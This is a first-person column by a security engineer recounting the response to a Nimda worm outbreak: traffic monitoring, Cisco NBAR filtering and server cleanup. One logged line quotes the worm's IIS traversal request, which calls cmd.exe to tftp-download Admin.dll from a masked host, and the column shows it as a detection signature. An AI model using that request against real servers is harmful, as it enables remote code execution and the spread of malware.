Well, I've done it again: I've changed positions. I ended my contract engagement with my old employer and moved on to a high-tech company. I've been brought in to assist in the architectural design, engineering and building of a new IT security infrastructure.
The security infrastructure we have needs a lot of work. A year ago, we had fewer than 1,000 employees. Today, that number exceeds 7,000. We have no security policies, our firewall rule base exceeds 1,500 lines, and we lack a good centralized access control mechanism, security auditing tools and adequate virus protection. In fact, we just suffered a massive Nimda worm infestation, so I've had to hit the ground running.
The Nimda worm, first discovered in September, is nasty in that it uses multiple methods to spread throughout the Internet. One is to attack Web servers running unpatched versions of Microsoft Corp.'s Internet Information Server (IIS). The worm exploits several known IIS vulnerabilities, and once Nimda installs itself on one server, it searches the Internet for other vulnerable Web servers and starts the process again.
Another method of infestation is by way of LAN-based attacks. After infecting the victim server, the worm adds the "guest" account to the server's administrator group. Since anyone can log on as "guest" without a password, this opens up the system so that anyone on the Internet can log on to the compromised system. Once logged in, attackers can read any file, and in some cases, they may be able to remotely control the server.
The Nimda attack started with a combination of two events. The first was a series of e-mail messages from several external Internet service providers and commercial Internet companies. The messages contained information regarding numerous port scans perpetrated against their infrastructure. The source IP addresses of the scans, according to the e-mails, were registered to our company. In addition, the port scans were directed against their port 80 (HTTP) and nothing else. This seemed odd because malicious port scans are usually directed against many different ports on a network.
The second event came to light when our network operations center noticed a significant amount of egress, or outbound, traffic and a few intermittent server outages. With that information, we set up a spare Linux system to monitor one of the network segments, which we suspected as the source of the attacks. Unfortunately, we have no active intrusion detection infrastructure in place yet, but the Linux box was a quick, effective and economical means of examining network traffic.
We had our network engineers configure an Ethernet switch port in Switched Port Analyzer mode in order to monitor the traffic at the internal interface of our core firewall. We figured this would be a good place to watch outbound traffic from our network. But the amount of traffic was enormous, so we set up filters to capture only outbound HTTP traffic and quickly discovered what was happening.
An excerpt from the logs revealed the following decoded data: /_vti_bin/.. percent255c../.. percent255c../winnt/system32/cmd.exe?/c+tftp percent20-i percent20X.X.X.X percent20GET percent20Admin.dll percent20d:\Admin.dll.
This decoded packet (the x's represent the IP address of our infected server) clearly showed the signature of a Nimda-infected server. The " percent255c" combined with "cmd.exe" were enough to make a positive diagnosis.
With some work, we were able to generate a list of infected hosts on our network. There were hundreds! Some of the hosts were revenue-generating e-commerce Web servers. Others were development workstations. The rest were a combination of technical support servers and individual desktops.
The next problem was that our desktop computers use Dynamic Host Configuration Protocol (DHCP), which assigns random IP addresses to network clients each time they log in. Therefore, even if we tracked down the suspected IP addresses to a specific machine, it might not be the same desktop as the logs initially indicated.
Clean Up, Don't Disrupt
We needed to take immediate action. It doesn't look good if external companies know you have a Nimda problem. We couldn't just pull the plug on our corporate Web site, which is one of our main sources of revenue. But with the DHCP issue, by the time we could identify the infected server, the IP address might have changed. So we had an emergency meeting with our network engineers and discussed enabling Cisco Systems Inc.'s network-based application recognition (NBAR) feature on our routers.
NBAR, part of the Cisco Internetworking Operating System, lets you configure special access lists that look for and block specific packets based on the data's payload. The problem is that by enabling NBAR, we risked network degradation because the router must then inspect each packet for specified keywords. Ideally, routers should route packets and application proxies should filter them based on payload.
However, with the resources at hand, enabling NBAR seemed to be the quickest way to prevent the Nimda attack packets from leaving our network. It didn't fix the problem internally, but at least we could prevent the attack from affecting other companies' servers.
Our next course of action was to clean up our servers and apply the appropriate patches. If you read the advisories issued by the antivirus software vendors and the CERT Coordination Center, they recommend taking the IIS server off-line and performing a fresh install of the operating system. That's nice in theory, but there are situations where you just can't afford to take down a production server.
Fortunately, it is possible to clean an infected server without reinstallation of the operating system. That said, you still must reboot the server if you replace any Windows Dynamic Link Library files. By installing the latest virus protection software, running a scan, installing the appropriate patches and following the instructions from CERT, we managed to eradicate Nimda on our servers and protect them from future infections without rebooting.
So now we're clean. But the process required the time of six Windows NT administrators for nearly five days. My next move is to get a Web proxy and put content filtering in place for additional protection from malicious code.
www.cisco.com/warp/public/63/nimda.shtml: This link describes how to use Cisco's network-based application recognition feature to block Nimda packets.
www.cert.org/advisories/CA-2001-26.html: This is the original CERT advisory with details on the Nimda worm.
www.treachery.net/jdyson/earlybird/: Earlybird is a free, real-time worm reporting tool. It watches Web logs for suspicious activity and automatically composes and sends an e-mail incident report to the offending network. The report contains the IP address of the attacking system and the decoded string from the packet.
www.enteract.com/lspitz/snoop.html: Almost every Unix variant comes with a utility that supports configuring the server's network card to watch network traffic. This paper, "The Secrets of Snoop" by Lance Spitzner, is an excellent introduction to using the Solaris Snoop utility for this purpose.